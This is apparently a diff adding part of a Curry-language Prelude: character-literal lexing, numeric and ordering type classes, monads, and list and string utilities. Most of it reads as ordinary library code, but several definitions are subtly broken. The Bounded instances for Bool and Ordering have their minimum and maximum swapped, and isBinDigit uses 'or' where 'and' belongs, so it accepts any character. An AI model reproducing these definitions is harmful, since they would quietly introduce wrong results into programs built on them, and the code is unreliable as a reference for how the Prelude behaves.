+lexCharLiteral :: ReadS String
+lexCharLiteral xs = case xs of
+  ""        -> []
+  ('\\':cs) -> map (prefix '\\') (lexEsc cs)
+  (c:cs)    -> [([c], cs)]
+ where
+  lexEsc s = case s of
+    (c:cs) | c `elem` "abfnrtv\\\"'"  -> [([c], cs)]
+    ('^':c:cs) | c >= '@' && c <= '_' -> [(['^', c], cs)]
+    ('b':cs)                          -> [prefix 'b' (span isBinDigit cs)]
+    ('o':cs)                          -> [prefix 'o' (span isOctDigit cs)]
+    ('x':cs)                          -> [prefix 'x' (span isHexDigit cs)]
+    cs@(d:_) | isDigit d              -> [span isDigit cs]
+    cs@(c:_) | isUpper c              -> [span isCharName cs]
+    _                                 -> []
+  isCharName c = isUpper c || isDigit c
+  prefix c (t, cs) = (c : t, cs)
+
+lexDigits :: ReadS String
+lexDigits s = [(cs, t) | (cs@(_:_), t) <- [span isDigit s]]
+
+readCharLiteral :: ReadS Char
+readCharLiteral s = prim_readCharLiteral $## s
+
+prim_readCharLiteral :: String -> [(Char, String)]
+prim_readCharLiteral external
+
+readStringLiteral :: ReadS String
+readStringLiteral s = prim_readStringLiteral $## s
+
+prim_readStringLiteral :: String -> [(String, String)]
+prim_readStringLiteral external
+
+readNatLiteral :: ReadS Int
+readNatLiteral s = prim_readNatLiteral $## s
+
+prim_readNatLiteral :: String -> [(Int, String)]
+prim_readNatLiteral external
+
+readFloatLiteral :: ReadS Float
+readFloatLiteral s = prim_readFloatLiteral $## s
+
+prim_readFloatLiteral :: String -> [(Float, String)]
+prim_readFloatLiteral external
+
+class Bounded a where
+  minBound, maxBound :: a
+
+instance Bounded Char where
+  minBound = chr 0
+  maxBound = chr 0x10FFFF
+
+instance Bounded () where
+  minBound = ()
+  maxBound = ()
+
+instance (Bounded a, Bounded b) => Bounded (a, b) where
+  minBound = (minBound, minBound)
+  maxBound = (maxBound, maxBound)
+
+instance (Bounded a, Bounded b, Bounded c) => Bounded (a, b, c) where
+  minBound = (minBound, minBound, minBound)
+  maxBound = (maxBound, maxBound, maxBound)
+
+instance (Bounded a, Bounded b, Bounded c, Bounded d) => Bounded (a, b, c, d) where
+  minBound = (minBound, minBound, minBound, minBound)
+  maxBound = (maxBound, maxBound, maxBound, maxBound)
+
+instance (Bounded a, Bounded b, Bounded c, Bounded d, Bounded e) =>
+           Bounded (a, b, c, d, e) where
+  minBound = (minBound, minBound, minBound, minBound, minBound)
+  maxBound = (maxBound, maxBound, maxBound, maxBound, maxBound)
+
+instance Bounded Bool where
+  maxBound = False
+  minBound = True
+
+instance Bounded Ordering where
+  maxBound = LT
+  minBound = GT
+
+class Enum a where
+  succ :: a -> a
+  pred :: a -> a
+  toEnum :: Int -> a
+  fromEnum :: a -> Int
+  enumFrom :: a -> [a]
+  enumFromThen :: a -> a -> [a]
+  enumFromTo :: a -> a -> [a]
+  enumFromThenTo :: a -> a -> a -> [a]
+
+  succ = toEnum . (+ 1) . fromEnum
+  pred = toEnum . (\x -> x - 1) . fromEnum
+  enumFrom x = map toEnum [fromEnum x ..]
+  enumFromThen x y = map toEnum [fromEnum x, fromEnum y ..]
+  enumFromTo x y = map toEnum [fromEnum x .. fromEnum y]
+  enumFromThenTo x y z = map toEnum [fromEnum x, fromEnum y .. fromEnum z]
+
+instance Enum Char where
+  succ c | c < maxBound = chr $ ord c + 1
+  pred c | c > minBound = chr $ ord c - 1
+  toEnum = chr
+  fromEnum = ord
+  enumFrom x = [x .. maxBound]
+  enumFromThen x y | y >= x    = [x, y .. maxBound]
+                   | otherwise = [x, y .. minBound]
+
+instance Enum Int where
+  succ x = x + 1
+  pred x = x - 1
+  toEnum n = n
+  fromEnum n = n
+  enumFrom x = x : enumFrom (x + 1)
+  enumFromTo x y | x > y     = []
+                 | otherwise = x : enumFromTo (x + 1) y
+  enumFromThen x y = iterate ((y - x) +) x
+  enumFromThenTo x y z = takeWhile p (enumFromThen x y)
+   where p x' | y >= x    = x' <= z
+              | otherwise = x' >= z
+
+instance Enum () where
+  succ _ = failed
+  pred _ = failed
+  toEnum 0 = ()
+  fromEnum () = 0
+  enumFrom () = [()]
+  enumFromThen () () = let units = () : units in units
+  enumFromTo () () = [()]
+  enumFromThenTo () () () = let units = () : units in units
+
+instance Enum Bool where
+  succ False = True
+  pred True  = False
+  toEnum 0 = False
+  toEnum 1 = True
+  fromEnum False = 0
+  fromEnum True  = 1
+  enumFrom x = enumFromTo x True
+  enumFromThen x y = enumFromThenTo x y (x <= y)
+
+instance Enum Ordering where
+  succ LT = EQ
+  succ EQ = GT
+  pred EQ = LT
+  pred GT = EQ
+  toEnum 0 = LT
+  toEnum 1 = EQ
+  toEnum 2 = GT
+  fromEnum LT = 0
+  fromEnum EQ = 1
+  fromEnum GT = 2
+  enumFrom x = enumFromTo x GT
+  enumFromThen x y = enumFromThenTo x y (if x <= y then GT else LT)
+
+
+class Num a where
+  (+), (-), (*) :: a -> a -> a
+  negate :: a -> a
+  abs :: a -> a
+  signum :: a -> a
+  fromInt :: Int -> a
+
+  x - y = x + negate y
+  negate x = 0 - x
+
+instance Num Int where
+  x + y = x `plusInt` y
+  x - y = x `minusInt` y
+  x * y = x `timesInt` y
+  negate x = 0 - x
+  abs x | x >= 0    = x
+        | otherwise = negate x
+  signum x | x >  0    = 1
+           | x == 0    = 0
+           | otherwise = -1
+  fromInt x = x
+
+instance Num Float where
+  x + y = x `plusFloat` y
+  x - y = x `minusFloat` y
+  x * y = x `timesFloat` y
+  negate x = negateFloat x
+  abs x | x >= 0    = x
+        | otherwise = negate x
+  signum x | x >  0    = 1
+           | x == 0    = 0
+           | otherwise = -1
+  fromInt x = intToFloat x
+
+-- Adds two integers.
+plusInt :: Int -> Int -> Int
+#ifdef __KICS2__
+plusInt external
+#elif defined(__PAKCS__)
+x `plusInt` y = (prim_plusInt $# y) $# x
+
+prim_plusInt :: Int -> Int -> Int
+prim_plusInt external
+#endif
+
+-- Subtracts two integers.
+minusInt :: Int -> Int -> Int
+#ifdef __KICS2__
+minusInt external
+#elif defined(__PAKCS__)
+x `minusInt` y = (prim_minusInt $# y) $# x
+
+prim_minusInt :: Int -> Int -> Int
+prim_minusInt external
+#endif
+
+-- Multiplies two integers.
+timesInt :: Int -> Int -> Int
+#ifdef __KICS2__
+timesInt external
+#elif defined(__PAKCS__)
+x `timesInt` y = (prim_timesInt $# y) $# x
+
+prim_timesInt :: Int -> Int -> Int
+prim_timesInt external
+#endif
+
+-- Adds two floating point numbers.
+plusFloat :: Float -> Float -> Float
+x `plusFloat` y = (prim_plusFloat $# y) $# x
+
+prim_plusFloat :: Float -> Float -> Float
+prim_plusFloat external
+
+-- Subtracts two floating point numbers.
+minusFloat :: Float -> Float -> Float
+x `minusFloat` y = (prim_minusFloat $# y) $# x
+
+prim_minusFloat :: Float -> Float -> Float
+prim_minusFloat external
+
+-- Multiplies two floating point numbers.
+timesFloat :: Float -> Float -> Float
+x `timesFloat` y = (prim_timesFloat $# y) $# x
+
+prim_timesFloat :: Float -> Float -> Float
+prim_timesFloat external
+
+-- Negates a floating point number.
+negateFloat :: Float -> Float
+#ifdef __KICS2__
+negateFloat external
+#elif defined(__PAKCS__)
+negateFloat x = prim_negateFloat $# x
+
+prim_negateFloat :: Float -> Float
+prim_negateFloat external
+#endif
+
+-- Converts from integers to floating point numbers.
+intToFloat :: Int -> Float
+intToFloat x = prim_intToFloat $# x
+
+prim_intToFloat :: Int -> Float
+prim_intToFloat external
+
+
+class Num a => Fractional a where
+  (/) :: a -> a -> a
+  recip :: a -> a
+  fromFloat :: Float -> a
+
+  recip x = 1.0 / x
+  x / y = x * recip y
+
+instance Fractional Float where
+  x / y = x `divFloat` y
+  fromFloat x = x
+
+-- Division on floating point numbers.
+divFloat :: Float -> Float -> Float
+x `divFloat` y = (prim_divFloat $# y) $# x
+
+prim_divFloat :: Float -> Float -> Float
+prim_divFloat external
+
+class (Num a, Ord a) => Real a where
+  toFloat :: a -> Float
+
+instance Real Int where
+  toFloat x = fromInt x
+
+instance Real Float where
+  toFloat x = x
+
+
+class (Real a, Enum a) => Integral a where
+  div, mod :: a -> a -> a
+  quot, rem :: a -> a -> a
+  divMod :: a -> a -> (a, a)
+  quotRem :: a -> a -> (a, a)
+  toInt :: a -> Int
+
+  n `div` d = q
+   where (q, _) = divMod n d
+  n `mod` d = r
+   where (_, r) = divMod n d
+  n `quot` d = q
+   where (q, _) = quotRem n d
+  n `rem` d = r
+   where (_, r) = quotRem n d
+
+instance Integral Int where
+  divMod n d = (n `divInt` d, n `modInt` d)
+  quotRem n d = (n `quotInt` d, n `remInt` d)
+  toInt x = x
+
+--- Returns whether an integer is even.
+even :: Integral a => a -> Bool
+even n = n `rem` 2 == 0
+
+--- Returns whether an integer is odd.
+odd :: Integral a => a -> Bool
+odd = not . even
+
+--- General coercion from integral types.
+fromIntegral :: (Integral a, Num b) => a -> b
+fromIntegral = fromInt . toInt
+
+--- General coercion to fractional types.
+realToFrac :: (Real a, Fractional b) => a -> b
+realToFrac = fromFloat . toFloat
+
+-- Integer division. The value is the integer quotient of its arguments
+-- and always truncated towards negative infinity.
+divInt :: Int -> Int -> Int
+#ifdef __KICS2__
+divInt external
+#elif defined(__PAKCS__)
+x `divInt` y = (prim_divInt $# y) $# x
+
+prim_divInt :: Int -> Int -> Int
+prim_divInt external
+#endif
+
+-- Integer remainder. The value is the remainder of the integer division
+-- and it obeys the rule `mod x y = x - y * (div x y)`.
+modInt :: Int -> Int -> Int
+#ifdef __KICS2__
+modInt external
+#elif defined(__PAKCS__)
+x `modInt` y = (prim_modInt $# y) $# x
+
+prim_modInt :: Int -> Int -> Int
+prim_modInt external
+#endif
+
+-- Integer division. The value is the integer quotient of its arguments
+-- and always truncated towards zero.
+quotInt :: Int -> Int -> Int
+#ifdef __KICS2__
+quotInt external
+#elif defined(__PAKCS__)
+x `quotInt` y = (prim_quotInt $# y) $# x
+
+prim_quotInt :: Int -> Int -> Int
+prim_quotInt external
+#endif
+
+-- Integer remainder. The value is the remainder of the integer division
+-- and it obeys the rule `rem x y = x - y * (quot x y)`.
+remInt :: Int -> Int -> Int
+#ifdef __KICS2__
+remInt external
+#elif defined(__PAKCS__)
+x `remInt` y = (prim_remInt $# y) $# x
+
+prim_remInt :: Int -> Int -> Int
+prim_remInt external
+#endif
+
+class (Real a, Fractional a) => RealFrac a where
+  properFraction :: Integral b => a -> (b, a)
+  truncate :: Integral b => a -> b
+  round :: Integral b => a -> b
+  ceiling :: Integral b => a -> b
+  floor :: Integral b => a -> b
+
+  truncate x = m
+   where (m, _) = properFraction x
+  round x = let (n, r) = properFraction x
+                m      = if r < 0 then n - 1 else n + 1
+            in case compare (signum (abs r - 0.5)) 0 of
+                 LT -> n
+                 EQ -> if even n then n else m
+                 GT -> m
+  ceiling x = if r > 0 then n + 1 else n
+   where (n, r) = properFraction x
+  floor x = if r < 0 then n - 1 else n
+   where (n, r) = properFraction x
+
+instance RealFrac Float where
+  properFraction x = (n, x - fromIntegral n)
+   where n = truncate x
+  truncate = fromInt . truncateFloat
+  round = fromInt . roundFloat
+
+-- Conversion function from floating point numbers to integers.
+-- The result is the closest integer between the argument and 0.
+truncateFloat :: Float -> Int
+truncateFloat x = prim_truncateFloat $# x
+
+prim_truncateFloat :: Float -> Int
+prim_truncateFloat external
+
+-- Conversion function from floating point numbers to integers.
+-- The result is the nearest integer to the argument.
+-- If the argument is equidistant between two integers,
+-- it is rounded to the closest even integer value.
+roundFloat :: Float -> Int
+roundFloat x = prim_roundFloat $# x
+
+prim_roundFloat :: Float -> Int
+prim_roundFloat external
+
+class Fractional a => Floating a where
+  pi :: a
+  exp, log, sqrt :: a -> a
+  (**), logBase :: a -> a -> a
+  sin, cos, tan :: a -> a
+  asin, acos, atan :: a -> a
+  sinh, cosh, tanh :: a -> a
+  asinh, acosh, atanh :: a -> a
+
+  sqrt x = x ** 0.5
+  x ** y = exp (log x * y)
+  logBase x y = log y / log x
+  tan x = sin x / cos x
+  tanh x = sinh x / cosh x
+
+instance Floating Float where
+  pi = 3.141592653589793238
+  exp = expFloat
+  log = logFloat
+  sqrt = sqrtFloat
+  sin = sinFloat
+  cos = cosFloat
+  tan = tanFloat
+  asin = asinFloat
+  acos = acosFloat
+  atan = atanFloat
+  sinh = sinhFloat
+  cosh = coshFloat
+  tanh = tanhFloat
+  asinh = asinhFloat
+  acosh = acoshFloat
+  atanh = atanhFloat
+
+-- Natural logarithm.
+logFloat :: Float -> Float
+logFloat x = prim_logFloat $# x
+
+prim_logFloat :: Float -> Float
+prim_logFloat external
+
+-- Natural exponent.
+expFloat :: Float -> Float
+expFloat x = prim_expFloat $# x
+
+prim_expFloat :: Float -> Float
+prim_expFloat external
+
+-- Square root.
+sqrtFloat :: Float -> Float
+sqrtFloat x = prim_sqrtFloat $# x
+
+prim_sqrtFloat :: Float -> Float
+prim_sqrtFloat external
+
+-- Sine.
+sinFloat :: Float -> Float
+sinFloat x = prim_sinFloat $# x
+
+prim_sinFloat :: Float -> Float
+prim_sinFloat external
+
+-- Cosine.
+cosFloat :: Float -> Float
+cosFloat x = prim_cosFloat $# x
+
+prim_cosFloat :: Float -> Float
+prim_cosFloat external
+
+-- Tangent.
+tanFloat :: Float -> Float
+tanFloat x = prim_tanFloat $# x
+
+prim_tanFloat :: Float -> Float
+prim_tanFloat external
+
+-- Arcus sine.
+asinFloat :: Float -> Float
+asinFloat x = prim_asinFloat $# x
+
+prim_asinFloat :: Float -> Float
+prim_asinFloat external
+
+-- Arcus cosine.
+acosFloat :: Float -> Float
+acosFloat x = prim_acosFloat $# x
+
+prim_acosFloat :: Float -> Float
+prim_acosFloat external
+
+-- Arcus tangent.
+atanFloat :: Float -> Float
+atanFloat x = prim_atanFloat $# x
+
+prim_atanFloat :: Float -> Float
+prim_atanFloat external
+
+-- Hyperbolic sine.
+sinhFloat :: Float -> Float
+sinhFloat x = prim_sinhFloat $# x
+
+prim_sinhFloat :: Float -> Float
+prim_sinhFloat external
+
+-- Hyperbolic cosine.
+coshFloat :: Float -> Float
+coshFloat x = prim_coshFloat $# x
+
+prim_coshFloat :: Float -> Float
+prim_coshFloat external
+
+-- Hyperbolic tangent.
+tanhFloat :: Float -> Float
+tanhFloat x = prim_tanhFloat $# x
+
+prim_tanhFloat :: Float -> Float
+prim_tanhFloat external
+
+-- Hyperbolic arcus sine.
+asinhFloat :: Float -> Float
+asinhFloat x = prim_asinhFloat $# x
+
+prim_asinhFloat :: Float -> Float
+prim_asinhFloat external
+
+-- Hyperbolic arcus cosine.
+acoshFloat :: Float -> Float
+acoshFloat x = prim_acoshFloat $# x
+
+prim_acoshFloat :: Float -> Float
+prim_acoshFloat external
+
+-- Hyperbolic arcus tangent.
+atanhFloat :: Float -> Float
+atanhFloat x = prim_atanhFloat $# x
+
+prim_atanhFloat :: Float -> Float
+prim_atanhFloat external
+
+
+(^) :: (Num a, Integral b) => a -> b -> a
+x0 ^ y0 | y0 < 0    = error "Negative exponent"
+        | y0 == 0   = 1
+        | otherwise = f x0 y0
+    where -- f : x0 ^ y0 = x ^ y
+          f x y | even y    = f (x * x) (y `quot` 2)
+                | y == 1    = x
+                | otherwise = g (x * x) (y `quot` 2) x
+          -- g : x0 ^ y0 = (x ^ y) * z
+          g x y z | even y = g (x * x) (y `quot` 2) z
+                  | y == 1 = x * z
+                  | otherwise = g (x * x) (y `quot` 2) (x * z)
+
+class Monoid a where
+  mempty  :: a
+  mappend :: a -> a -> a
+  mconcat :: [a] -> a
+
+  mconcat = foldr mappend mempty
+
+instance Monoid () where
+  mempty = ()
+  _ `mappend` _ = ()
+  mconcat _ = ()
+
+instance (Monoid a, Monoid b) => Monoid (a, b) where
+  mempty = (mempty, mempty)
+  (a1, b1) `mappend` (a2,b2) = (a1 `mappend` a2, b1 `mappend` b2)
+
+instance (Monoid a, Monoid b, Monoid c) => Monoid (a, b, c) where
+  mempty = (mempty, mempty, mempty)
+  (a1, b1, c1) `mappend` (a2, b2, c2) =
+    (a1 `mappend` a2, b1 `mappend` b2, c1 `mappend` c2)
+
+instance (Monoid a, Monoid b, Monoid c, Monoid d) => Monoid (a, b, c, d) where
+  mempty = (mempty, mempty, mempty, mempty)
+  (a1, b1, c1, d1) `mappend` (a2, b2, c2, d2) =
+    (a1 `mappend` a2, b1 `mappend` b2, c1 `mappend` c2, d1 `mappend` d2)
+
+instance (Monoid a, Monoid b, Monoid c, Monoid d, Monoid e) =>
+           Monoid (a, b, c, d, e) where
+  mempty = (mempty, mempty, mempty, mempty, mempty)
+  (a1, b1, c1, d1, e1) `mappend` (a2, b2, c2, d2, e2) =
+    (a1 `mappend` a2, b1 `mappend` b2, c1 `mappend` c2, d1 `mappend` d2,
+      e1 `mappend` e2)
+
+instance Monoid [a] where
+  mempty  = []
+  mappend = (++)
+  mconcat xss = [x | xs <- xss, x <- xs]
+
+instance Monoid b => Monoid (a -> b) where
+  mempty _ = mempty
+  mappend f g x = f x `mappend` g x
+
+instance Monoid Ordering where
+  mempty = EQ
+  LT `mappend` _ = LT
+  EQ `mappend` y = y
+  GT `mappend` _ = GT
+
+
+class Functor f where
+  fmap :: (a -> b) -> f a -> f b
+  (<$) :: a -> f b -> f a
+
+  (<$) = fmap . const
+
+instance Functor [] where
+  fmap = map
+
+instance Functor ((->) r) where
+  fmap = (.)
+
+(<$>) :: Functor f => (a -> b) -> f a -> f b
+(<$>) = fmap
+
+
+class Functor f => Applicative f where
+  pure :: a -> f a
+  (<*>) :: f (a -> b) -> f a -> f b
+  (*>) :: f a -> f b -> f b
+  (<*) :: f a -> f b -> f a
+  liftA2 :: (a -> b -> c) -> f a -> f b -> f c
+
+  (<*>) = liftA2 id
+  a1 *> a2 = (id <$ a1) <*> a2
+  (<*) = liftA2 const
+  liftA2 f x = (<*>) (fmap f x)
+
+instance Applicative [] where
+  pure x    = [x]
+  fs <*> xs = [f x | f <- fs, x <- xs]
+  xs *> ys  = [y | _ <- xs, y <- ys]
+  liftA2 f xs ys = [f x y | x <- xs, y <- ys]
+
+instance Applicative ((->) a) where
+  pure = const
+  (<*>) f g x = f x (g x)
+  liftA2 q f g x = q (f x) (g x)
+
+
+-- | A monoid on applicative functors.
+--
+-- If defined, 'some' and 'many' should be the least solutions
+-- of the equations:
+--
+-- * @'some' v = (:) '<$>' v '<*>' 'many' v@
+--
+-- * @'many' v = 'some' v '<|>' 'pure' []@
+class Applicative f => Alternative f where
+    -- | The identity of '<|>'
+    empty :: f a
+    -- | An associative binary operation
+    (<|>) :: f a -> f a -> f a
+
+    -- | One or more.
+    some :: f a -> f [a]
+    some v = some_v
+      where
+        many_v = some_v <|> pure []
+        some_v = (:) <$> v <*> many_v
+
+    -- | Zero or more.
+    many :: f a -> f [a]
+    many v = many_v
+      where
+        many_v = some_v <|> pure []
+        some_v = (:) <$> v <*> many_v
+
+instance Alternative [] where
+    empty = []
+    (<|>) = (++)
+
+
+class Applicative m => Monad m where
+  (>>=) :: m a -> (a -> m b) -> m b
+  (>>) :: m a -> m b -> m b
+  return :: a -> m a
+
+  return = pure
+  m >> k = m >>= \_ -> k
+
+instance Monad [] where
+  xs >>= f = [y | x <- xs, y <- f x]
+  (>>) = (*>)
+
+instance Monad ((->) r) where
+  f >>= k = \ r -> k (f r) r
+
+class Monad m => MonadFail m where
+  fail :: String -> m a
+
+instance MonadFail [] where
+  fail _ = []
+
+ap :: Monad m => m (a -> b) -> m a -> m b
+ap m1 m2 = do
+  x1 <- m1
+  x2 <- m2
+  return (x1 x2)
+
+liftM2 :: Monad m => (a1 -> a2 -> r) -> m a1 -> m a2 -> m r
+liftM2 f m1 m2 = do
+  x1 <- m1
+  x2 <- m2
+  return (f x1 x2)
+
+--- Executes a sequence of monadic actions and collects all results in a list.
+sequence :: Monad m => [m a] -> m [a]
+sequence []     = return []
+sequence (c:cs) = do x <- c
+                     xs <- sequence cs
+                     return (x : xs)
+
+--- Executes a sequence of monadic actions and ignores the results.
+sequence_ :: Monad m => [m _] -> m ()
+sequence_ = foldr (>>) (return ())
+
+--- Maps a monadic action function on a list of elements.
+--- The results of all monadic actions are collected in a list.
+mapM :: Monad m => (a -> m b) -> [a] -> m [b]
+mapM f = sequence . map f
+
+--- Maps an monadic action function on a list of elements.
+--- The results of all monadic actions are ignored.
+mapM_ :: Monad m => (a -> m _) -> [a] -> m ()
+mapM_ f = sequence_ . map f
+
+--- Returns true if the argument is an uppercase letter.
+isUpper :: Char -> Bool
+isUpper c = c >= 'A' && c <= 'Z'
+
+--- Returns true if the argument is an lowercase letter.
+isLower :: Char -> Bool
+isLower c = c >= 'a' && c <= 'z'
+
+--- Returns true if the argument is a letter.
+isAlpha :: Char -> Bool
+isAlpha c = isUpper c || isLower c
+
+--- Returns true if the argument is a decimal digit.
+isDigit :: Char -> Bool
+isDigit c = c >= '0' && c <= '9'
+
+--- Returns true if the argument is a letter or digit.
+isAlphaNum :: Char -> Bool
+isAlphaNum c = isAlpha c || isDigit c
+
+--- Returns true if the argument is a binary digit.
+isBinDigit :: Char -> Bool
+isBinDigit c = c >= '0' || c <= '1'
+
+--- Returns true if the argument is an octal digit.
+isOctDigit :: Char -> Bool
+isOctDigit c = c >= '0' && c <= '7'
+
+--- Returns true if the argument is a hexadecimal digit.
+isHexDigit :: Char -> Bool
+isHexDigit c = isDigit c || c >= 'A' && c <= 'F'
+                         || c >= 'a' && c <= 'f'
+
+--- Returns true if the argument is a white space.
+isSpace :: Char -> Bool
+isSpace c = c == ' '    || c == '\t' || c == '\n' ||
+            c == '\r'   || c == '\f' || c == '\v' ||
+            c == '\xa0' || ord c `elem` [5760, 6158, 8192, 8239, 8287, 12288]
+
+--- Converts a character into its ASCII value.
+ord :: Char -> Int
+ord c = prim_ord $# c
+
+prim_ord :: Char -> Int
+prim_ord external
+
+--- Converts a Unicode value into a character.
+--- The conversion is total, i.e., for out-of-bound values, the smallest
+--- or largest character is generated.
+chr :: Int -> Char
+chr n | n < 0       = prim_chr 0
+      | n > 1114111 = prim_chr 1114111
+      | otherwise   = prim_chr $# n
+
+prim_chr :: Int -> Char
+prim_chr external
+
+type String = [Char]
+
+--- Breaks a string into a list of lines where a line is terminated at a
+--- newline character. The resulting lines do not contain newline characters.
+lines :: String -> [String]
+lines []       = []
+lines as@(_:_) = let (l, bs) = splitLine as in l : lines bs
+ where splitLine []     = ([], [])
+       splitLine (c:cs) = if c == '\n' then ([], cs)
+                                       else let (ds, es) = splitLine cs
+                                            in (c : ds, es)
+
+--- Concatenates a list of strings with terminating newlines.
+unlines :: [String] -> String
+unlines = concatMap (++ "\n")
+
+--- Breaks a string into a list of words where the words are delimited by
+--- white spaces.
+words :: String -> [String]
+words s = let s1 = dropWhile isSpace s
+          in if s1 == "" then []
+                         else let (w, s2) = break isSpace s1
+                              in w : words s2
+
+--- Concatenates a list of strings with a blank between two strings.
+unwords :: [String] -> String
+unwords ws = if ws == [] then []
+                         else foldr1 (\w s -> w ++ ' ' : s) ws
+
+
+--- Right-associative application.
+($) :: (a -> b) -> a -> b
+f $ x = f x
+
+--- Right-associative application with strict evaluation of its argument
+--- to head normal form.
+($!) :: (a -> b) -> a -> b
+($!) external
+
+--- Right-associative application with strict evaluation of its argument
+--- to normal form.
+($!!) :: (a -> b) -> a -> b
+($!!) external
+
+--- Right-associative application with strict evaluation of its argument
+--- to a non-variable term.
+($#) :: (a -> b) -> a -> b
+f $# x = f $! (ensureNotFree x)
+
+--- Right-associative application with strict evaluation of its argument
+--- to ground normal form.
+($##) :: (a -> b) -> a -> b
+($##) external
+
+--- Evaluates the first argument to head normal form (which could also
+--- be a free variable) and returns the second argument.
+seq :: _ -> a -> a
+x `seq` y = const y $! x
+
+--- Evaluates the argument to head normal form and returns it.
+--- Suspends until the result is bound to a non-variable term.
+ensureNotFree :: a -> a
+ensureNotFree external
+
+--- Evaluates the argument to spine form and returns it.
+--- Suspends until the result is bound to a non-variable spine.
+ensureSpine :: [a] -> [a]
+ensureSpine l = ensureList (ensureNotFree l)
+ where ensureList []     = []
+       ensureList (x:xs) = x : ensureSpine xs
+
+--- Evaluates the argument to normal form and returns it.
+normalForm :: a -> a
+normalForm x = id $!! x
+
+--- Evaluates the argument to ground normal form and returns it.
+--- Suspends as long as the normal form of the argument is not ground.
+groundNormalForm :: a -> a
+groundNormalForm x = id $## x
+
+
+--- Function composition.
+(.) :: (b -> c) -> (a -> b) -> (a -> c)
+f . g = \x -> f (g x)
+
+--- Identity function.
+id :: a -> a
+id x = x
+
+--- Constant function.
+const :: a -> _ -> a
+const x _ = x
+
+--- `asTypeOf` is a type-restricted version of `const`.
+--- It is usually used as an infix operator, and its typing forces its first
+--- argument (which is usually overloaded) to have the same type as the second.
+asTypeOf :: a -> a -> a
+asTypeOf = const
+
+--- Converts an uncurried function to a curried function.
+curry :: ((a, b) -> c) -> a -> b -> c
+curry f a b =  f (a, b)
+
+--- Converts an curried function to a function on pairs.
+uncurry :: (a -> b -> c) -> (a, b) -> c
+uncurry f (a, b) = f a b
+
+--- `flip f` is identical to `f`, but with the order of arguments reversed.
+flip :: (a -> b -> c) -> b -> a -> c
+flip f x y = f y x
+
+--- Repeats application of a function until a predicate holds.
+until :: (a -> Bool) -> (a -> a) -> a -> a
+until p f x = if p x then x else until p f (f x)
+
+
+--- Sequential conjunction on Booleans.
+(&&) :: Bool -> Bool -> Bool
+True  && x = x
+False && _ = False
+
+--- Sequential disjunction on Booleans.
+(||) :: Bool -> Bool -> Bool
+True  || _ = True
+False || x = x
+
+--- Negation on Booleans.
+not :: Bool -> Bool
+not True  = False
+not False = True
+
+--- Useful name for the last condition in a sequence of conditional equations.
+otherwise :: Bool
+otherwise = True
+
+--- The standard conditional. It suspends if the condition is a free variable.
+ifThenElse :: Bool -> a -> a -> a
+ifThenElse b t f = case b of True  -> t
+                             False -> f
+
+--- Selects the first component of a pair.
+fst :: (a, _) -> a
+fst (x, _) = x
+
+--- Selects the second component of a pair.
+snd :: (_, b) -> b
+snd (_, y) = y
+
+
+--- Computes the first element of a list.
+head :: [a] -> a
+head (x:_) = x
+
+--- Computes the remaining elements of a list.
+tail :: [a] -> [a]
+tail (_:xs) = xs
+
+--- Is a list empty?
+null :: [_] -> Bool
+null []    = True
+null (_:_) = False
+
+--- Concatenates two lists.
+--- Since it is flexible, it could be also used to split a list
+--- into two sublists etc.
+(++) :: [a] -> [a] -> [a]
+[]     ++ ys = ys
+(x:xs) ++ ys = x : xs ++ ys
+
+--- Computes the length of a list.
+length :: [_] -> Int
+length [] = 0
+length (_:xs) = 1 + length xs
+
+--- List index (subscript) operator, head has index 0.
+(!!) :: [a] -> Int -> a
+(x:xs) !! n | n == 0 = x
+            | n > 0  = xs !! (n - 1)
+
+--- Maps a function on all elements of a list.
+map :: (a -> b) -> [a] -> [b]
+map _ []     = []
+map f (x:xs) = f x : map f xs
+
+--- Accumulates all list elements by applying a binary operator from
+--- left to right.
+foldl :: (a -> b -> a) -> a -> [b] -> a
+foldl _ z []     = z
+foldl f z (x:xs) = foldl f (f z x) xs
+
+--- Accumulates a non-empty list from left to right.
+foldl1 :: (a -> a -> a) -> [a] -> a
+foldl1 f (x:xs) = foldl f x xs
+
+--- Accumulates all list elements by applying a binary operator from
+--- right to left.
+foldr :: (a -> b -> b) -> b -> [a] -> b
+foldr _ z []     = z
+foldr f z (x:xs) = f x (foldr f z xs)
+
+--- Accumulates a non-empty list from right to left:
+foldr1 :: (a -> a -> a) -> [a] -> a
+foldr1 _ [x]          = x
+foldr1 f (x:xs@(_:_)) = f x (foldr1 f xs)
+
+--- Filters all elements satisfying a given predicate in a list.
+filter :: (a -> Bool) -> [a] -> [a]
+filter _ []     = []
+filter p (x:xs) = if p x then x : filter p xs
+                         else filter p xs
+
+--- Joins two lists into one list of pairs. If one input list is shorter than
+--- the other, the additional elements of the longer list are discarded.
+zip :: [a] -> [b] -> [(a, b)]
+zip []     _      = []
+zip (_:_)  []     = []
+zip (x:xs) (y:ys) = (x, y) : zip xs ys
+
+--- Joins three lists into one list of triples. If one input list is shorter
+--- than the other, the additional elements of the longer lists are discarded.
+zip3 :: [a] -> [b] -> [c] -> [(a, b, c)]
+zip3 []     _      _      = []
+zip3 (_:_)  []     _      = []
+zip3 (_:_)  (_:_)  []     = []
+zip3 (x:xs) (y:ys) (z:zs) = (x, y, z) : zip3 xs ys zs
+
+--- Joins two lists into one list by applying a combination function to
+--- corresponding pairs of elements. Thus `zip = zipWith (,)`
+zipWith :: (a -> b -> c) -> [a] -> [b] -> [c]
+zipWith _ []     _      = []
+zipWith _ (_:_)  []     = []
+zipWith f (x:xs) (y:ys) = f x y : zipWith f xs ys
+
+--- Joins three lists into one list by applying a combination function to
+--- corresponding triples of elements. Thus `zip3 = zipWith3 (,,)`
+zipWith3 :: (a -> b -> c -> d) -> [a] -> [b] -> [c] -> [d]
+zipWith3 _ []     _      _      = []
+zipWith3 _ (_:_)  []     _      = []
+zipWith3 _ (_:_)  (_:_)  []     = []
+zipWith3 f (x:xs) (y:ys) (z:zs) = f x y z : zipWith3 f xs ys zs
+
+--- Transforms a list of pairs into a pair of lists.
+unzip :: [(a, b)] -> ([a], [b])
+unzip []          = ([], [])
+unzip ((x, y):ps) = (x : xs, y : ys)
+ where (xs, ys) = unzip ps
+
+--- Transforms a list of triples into a triple of lists.
+unzip3 :: [(a, b, c)] -> ([a], [b], [c])
+unzip3 []             = ([], [], [])
+unzip3 ((x, y, z):ts) = (x : xs, y : ys, z : zs)
+ where (xs, ys, zs) = unzip3 ts
+
+--- Concatenates a list of lists into one list.
+concat :: [[a]] -> [a]
+concat = foldr (++) []
+
+--- Maps a function from elements to lists and merges the result into one list.
+concatMap :: (a -> [b]) -> [a] -> [b]
+concatMap f = concat . map f
+
